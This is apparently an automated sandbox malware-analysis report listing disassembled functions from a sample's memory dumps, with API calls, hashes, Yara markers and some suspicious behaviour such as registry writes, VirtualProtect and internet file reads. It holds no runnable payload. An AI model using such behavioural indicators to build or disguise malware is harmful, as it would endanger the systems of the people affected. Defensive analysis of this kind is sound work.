Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction ID: 89836d951bc72d4e20e2faa1a52db581b462940ce5fd44a8dff6846afbaeb460
Opcode Fuzzy Hash: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction Fuzzy Hash: A3212731B01214EBDB329F21DC44ADB7B68AB41765B200133ED15A73D1DA78EE46C6DC

Function 1000B6D8 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 1000B720
__fassign.LIBCMT ref: 1000B905
__fassign.LIBCMT ref: 1000B922
WriteFile.KERNEL32(?,10009A1A,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000B96A
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 1000B9AA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000BA52

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 56600ca1f679adaeecf8f36430617c19199fd47716f68d51f6ae8f72f541c1cc
Instruction ID: 817bf58f8fa712ded97291eda06853010b29bdec4c6be72b636a35a8a914ce65
Opcode Fuzzy Hash: 56600ca1f679adaeecf8f36430617c19199fd47716f68d51f6ae8f72f541c1cc
Instruction Fuzzy Hash: 9DC1CF75D006989FEB11CFE8C8809EDBBB5EF09354F28816AE855F7245D631AE42CB60

Function 04B4BBEB Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,04B4BBE2,04B4B186,04B4A997), ref: 04B4BBF9
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04B4BC07
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04B4BC20
SetLastError.KERNEL32(00000000,04B4BBE2,04B4B186,04B4A997), ref: 04B4BC72

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: 948b75f0dacd5e703a0ffa94fb081c7944eb862a2756ca3a4c962dab02375754
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 75018D3630D611DEA73427BD7CC496B2F54E78567C72002B9E625561E2EE51F4017184

Function 10003DFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,10003C01,10002DB0,100027A7,?,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8), ref: 10003E08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003E16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 10003E2F
SetLastError.KERNEL32(00000000,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8,?,00000001,?), ref: 10003E81

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction ID: cea4d4d1ab0609a38d25ccf127c64f3389598815618148a6298b3cccc824aafb
Opcode Fuzzy Hash: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction Fuzzy Hash: 610124379083A66EF25BC7B49CC964B379AEB0D3F53208329F114410F8EFA29E45A244

Function 0040B984 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040B97B,0040AF1F,0040A730), ref: 0040B992
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040B9A0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040B9B9
SetLastError.KERNEL32(00000000,0040B97B,0040AF1F,0040A730), ref: 0040BA0B

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: c1383cefff0a9c77c0f6256a7d22d0577fd0bc713188e5814d490c4ea7085b9f
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 6D0192727197119EE63427B97CC6A6B2B94EB01778760033BF520752E2EB39480255CC

Function 004015D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004015D5

Part of subcall function 00409842: std::invalid_argument::invalid_argument.LIBCONCRT ref: 0040984E

MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,00000000,?,?,0042D884,?,?,?,0042DAF4), ref: 0040160B
MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,?,0042D884,?,?,?,0042DAF4), ref: 00401642
Concurrency::cancel_current_task.LIBCPMT ref: 00401757

Strings

string too long, xrefs: 004015D0

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Concurrency::cancel_current_taskXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID: string too long
API String ID: 2123813255-2556327735
Opcode ID: d5f1c80286caa7e1e042afc540da997b8870432c30c507321fa7703b5c3a7ad2
Instruction ID: 8b29ff92f67febe7d184f40cd986ab90276924f3587203b15f4be4e0e60d2281
Opcode Fuzzy Hash: d5f1c80286caa7e1e042afc540da997b8870432c30c507321fa7703b5c3a7ad2
Instruction Fuzzy Hash: 5E4127B1A00300ABD720AF759C8575BB7B8EF48354F24063AF91AE73D1E775AD0487A9

Function 004058D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122registrysleepCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405903
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 00405925
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 0040594D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405956
Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

mixone, xrefs: 00406219

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseCreateOpenSleepValue
String ID: mixone
API String ID: 4111408922-3123478411
Opcode ID: 5956f32b293078b1f23111287794b54aa008f1a70d72d9563616efc3db9a2cf7
Instruction ID: 36deb0a2def4af7d69c3889f60f670a394a8a5da25757ff3a02b89eea185ed5b
Opcode Fuzzy Hash: 5956f32b293078b1f23111287794b54aa008f1a70d72d9563616efc3db9a2cf7
Instruction Fuzzy Hash: F3418571210108AFEB08DF58DC95BEE7B65EF08300F908229F955AB5D1D778E9848F58

Function 00410580 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,F6E2F767,0040280B,?,00000000,0041DA7B,000000FF,?,0041055C,08758BC2,?,00410530,00000016), ref: 004105B5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004105C7
FreeLibrary.KERNEL32(00000000,?,00000000,0041DA7B,000000FF,?,0041055C,08758BC2,?,00410530,00000016), ref: 004105E9

Strings

mscoree.dll, xrefs: 004105AE
CorExitProcess, xrefs: 004105BF

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: d9f390a0c8d24d43879d0675fee7d7aa557a7bdfd7840f409546c87a96f2ba59
Instruction ID: f4dd53f2cc94282f557b0741292325b7031a84366b21a1c3c136dd1e19965a8c
Opcode Fuzzy Hash: d9f390a0c8d24d43879d0675fee7d7aa557a7bdfd7840f409546c87a96f2ba59
Instruction Fuzzy Hash: F501A271A44625FBDB128F80DC05BEEBBB9FB04B51F004536F811A22A0DBB8A944CB58

Function 10005FAA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FBF
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10005FD2
FreeLibrary.KERNEL32(00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FF5

Strings

mscoree.dll, xrefs: 10005FB8
CorExitProcess, xrefs: 10005FCA

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction ID: ce5d81a5a20928f213bfffb098e7a6005668583a74e8757c7f390ca8b74bdc84
Opcode Fuzzy Hash: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction Fuzzy Hash: 1BF01C31904129FBEB06DB91CD0ABEE7AB9EB047D6F1041B4F501A21A4CBB5CE41DB90

Function 1000A5DD Relevance: 7.7, APIs: 5, Instructions: 244COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,1000A899,00000000,00000000,00000000,00000001,?,?,?,?,00000001), ref: 1000A680
__alloca_probe_16.LIBCMT ref: 1000A736
__alloca_probe_16.LIBCMT ref: 1000A7CC
__freea.LIBCMT ref: 1000A837
__freea.LIBCMT ref: 1000A843

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 6801c7cf1a2c1c6b356f2cb05e88654cbb9424f85dc0dbbe55d1f090f9a52ad6
Instruction ID: 1dd90d70d9504398cfa9d6ef4ea6864651e072268de8b4bf5549d7cf43e308ef
Opcode Fuzzy Hash: 6801c7cf1a2c1c6b356f2cb05e88654cbb9424f85dc0dbbe55d1f090f9a52ad6
Instruction Fuzzy Hash: C081A472D042569BFF11CE648C81ADE7BF5EF0B6D0F158265E904AB148DB369DC1CBA0

Function 1000AFB7 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 1000B03B
__alloca_probe_16.LIBCMT ref: 1000B101
__freea.LIBCMT ref: 1000B16D

Part of subcall function 100079EE: RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

__freea.LIBCMT ref: 1000B176
__freea.LIBCMT ref: 1000B199

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 08a43eba5b954a3f04cd68b018e4776cfa43d2eee8ce0c2eced5adaaebccb1f4
Instruction ID: ca0e6193c5ab93552cef367aef9b2c098b98f9a761b18089088d519bce5e91c7
Opcode Fuzzy Hash: 08a43eba5b954a3f04cd68b018e4776cfa43d2eee8ce0c2eced5adaaebccb1f4
Instruction Fuzzy Hash: 6651C072600616ABFB21CF64CC81EAF37E9EF456D0F624129FD14A7158EB34EC5197A0

Function 04D14410 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 04D14495
__alloca_probe_16.LIBCMT ref: 04D1455E
__freea.LIBCMT ref: 04D145C5
__freea.LIBCMT ref: 04D145D8
__freea.LIBCMT ref: 04D145E5

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: c409ed0a73a31f3b78c849091ec1d6b89a85a3ccc37d0e928c6a0ebb1540a73b
Instruction ID: ec9159dd719152ee56e081e5dbcf39efff09a47483e4cec4d898f1dfc61a800f
Opcode Fuzzy Hash: c409ed0a73a31f3b78c849091ec1d6b89a85a3ccc37d0e928c6a0ebb1540a73b
Instruction Fuzzy Hash: DC51C172700246BFFB219F60AC88EBB7AA9FF44754B150129FE06E7160EA70ED50C670

Function 00415010 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00415095
__alloca_probe_16.LIBCMT ref: 0041515E
__freea.LIBCMT ref: 004151C5

Part of subcall function 00413C79: RtlAllocateHeap.NTDLL(00000000,00402809,00402805,?,0040AD1B,0040280B,00402805,0042D884,?,?,00403597,?,00402809,00402805), ref: 00413CAB

__freea.LIBCMT ref: 004151D8
__freea.LIBCMT ref: 004151E5

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: c0223aac213706da923d74aec6f81ab2cdbbbf03147a9c613dee044af7b571ef
Instruction ID: def92c4ecd74f4627ee81fabb5ad5435351d3551a42f570b1979e48308b83863
Opcode Fuzzy Hash: c0223aac213706da923d74aec6f81ab2cdbbbf03147a9c613dee044af7b571ef
Instruction Fuzzy Hash: 1A51B372A00646FFDB225FA1CC41FFB3AA9EF84754B25002FFD04D6251EA39CD918668

Function 04B42C87 Relevance: 7.6, APIs: 5, Instructions: 113memorywindowCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 04B42D2F
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 04B42D44
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 04B42D52
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 04B42D6D
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 04B42D8C

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: AllocDebugErrorFormatLastLocalMessageOutputProtectStringVirtual
String ID:
API String ID: 2509773233-0
Opcode ID: 135e4059f0a8e16b6c40cfe3354c74ba5c0e8907b24caca148f615c37fe0627b
Instruction ID: 8e18de661923d82d6020273abfcec6f97db7c164ec7190948dbc976ba605cdfd
Opcode Fuzzy Hash: 135e4059f0a8e16b6c40cfe3354c74ba5c0e8907b24caca148f615c37fe0627b
Instruction Fuzzy Hash: F9312635B00104AFDB14DF68DC40FAAB7A9EF88340F4541E9FA05EB252DB71AD16EB94

Function 10002986 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 100029C3
dllmain_crt_dispatch.LIBCMT ref: 100029DA
dllmain_raw.LIBCMT ref: 10002A22
dllmain_crt_dispatch.LIBCMT ref: 10002A35
dllmain_raw.LIBCMT ref: 10002A48

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction ID: 86b98bd5048e9daedf5606c3f96c4c2c05ee8e367bee4de8e4e1682ebb6c2564
Opcode Fuzzy Hash: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction Fuzzy Hash: EA21A476E0526AAFFB32CF55CC41ABF3AA9EB85AD0F014115FC4867258CB309D419BD1

Function 0040CA97 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0040CA48,00000000,?,0042D0F8,?,?,?,0040CBEB,00000004,InitializeCriticalSectionEx,00420B18,InitializeCriticalSectionEx), ref: 0040CAA4
GetLastError.KERNEL32(?,0040CA48,00000000,?,0042D0F8,?,?,?,0040CBEB,00000004,InitializeCriticalSectionEx,00420B18,InitializeCriticalSectionEx,00000000,?,0040C836), ref: 0040CAAE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0040CAD6

Strings

api-ms-, xrefs: 0040CABB

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 6ea35a358fe08483aaca9864d5c7ce1afea2c26e9c9286d7bdd8822d2b58ffa3
Instruction ID: aef67c255cc06d75e4f2c7ed4f9f6bc06eb467b970858842cb7b754112db4c8a
Opcode Fuzzy Hash: 6ea35a358fe08483aaca9864d5c7ce1afea2c26e9c9286d7bdd8822d2b58ffa3
Instruction Fuzzy Hash: 12E01230380308F6EF105F61ED46B5A3F569B11B54F108131F90DF85E1D7B5A815998C

Function 04B598F3 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(0042C014,00000000,00000000,00000000), ref: 04B59956

Part of subcall function 04B551BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B55422,?,00000000,-00000008), ref: 04B55220

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 04B59BA8
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 04B59BEE
GetLastError.KERNEL32 ref: 04B59C91

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: da9c2254c3d6feb7781c277c4017dde1248fb7d9dc01eb7e01956cc2f511bebb
Instruction ID: 84647a73c34bfd62050005a0d5f06d9fcda7076767d6146517fb0533d11def66
Opcode Fuzzy Hash: da9c2254c3d6feb7781c277c4017dde1248fb7d9dc01eb7e01956cc2f511bebb
Instruction Fuzzy Hash: 04D15BB5E00248DFDB15CFA8D880AADFBF5FF49314F1445AAE856EB261D630A942CB50

Function 0041968C Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(F6E2F767,00000000,00000000,00000000), ref: 004196EF

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00419941
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00419987
GetLastError.KERNEL32 ref: 00419A2A

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 7b6b5b0f837ac57406110df98857d0f42911bc00a2c7897a29ebb1bace7e2d44
Instruction ID: 80e927e20e1d5b3063f5f9ef1e9119d7a86b1541eeacf5ee68ba8f7951c90f01
Opcode Fuzzy Hash: 7b6b5b0f837ac57406110df98857d0f42911bc00a2c7897a29ebb1bace7e2d44
Instruction Fuzzy Hash: 8CD18DB5E002489FCF15CFA8C8909EEBBB5FF49314F28412AE456EB351D634AD86CB54

Function 04B41BA7 Relevance: 6.3, APIs: 4, Instructions: 293networkfileCOMMON

Download Yara Rule

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 04B41C3C
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 04B41C5F

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: FileInternet$PointerRead
String ID:
API String ID: 3197321146-0
Opcode ID: 1885a8dfee8479765fa90636c8dddbf3c0bf84813e2bd3c7ed7779aacb4cd4c8
Instruction ID: fe9c859a85070c4e5a0fce2b30a44a13ac0c1e1ce16a937690a382ae93218c3e
Opcode Fuzzy Hash: 1885a8dfee8479765fa90636c8dddbf3c0bf84813e2bd3c7ed7779aacb4cd4c8
Instruction Fuzzy Hash: 86C13BB09002289FEB25DF68CC88BE9B7B4EF89304F1041D9E509A7290D775BE95DF91

Function 04B4BCCB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04B4BD92
___AdjustPointer.LIBCMT ref: 04B4BDB5
___AdjustPointer.LIBCMT ref: 04B4BE51

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: aca62ffba26541bc8ed0b1de1d27676f7c4dfef6b63370a4a98d8cf07c7e6eac
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: 7351C072648202AFEF298F54D840BBA77A4EFC4314F1448E9EA415B690E731F950F790

Function 04D0AE64 Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04D0AF2B
___AdjustPointer.LIBCMT ref: 04D0AF4E
___AdjustPointer.LIBCMT ref: 04D0AFEA

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: 755a7699ecabb4809121f894f986286a0dee8b284502aa13d34702f41478052f
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: E5518CB2701706AFEB299E50D840B6ABBA4FF20714F14C52AE845873D0E771F881C7A0

Function 10003EDA Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 10003FA1
___AdjustPointer.LIBCMT ref: 10003FC4
___AdjustPointer.LIBCMT ref: 10004060

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction ID: 9e97f9b43940e94c385e873cf65d718b9a08959cb0185780d8acf6a52a646172
Opcode Fuzzy Hash: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction Fuzzy Hash: 9D51BFB6A04202AFFB16CF11D941BAB77A8EF047D0F11856DEA05A72A9DB31EC40D794

Function 0040BA64 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040BB2B
___AdjustPointer.LIBCMT ref: 0040BB4E
___AdjustPointer.LIBCMT ref: 0040BBEA

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
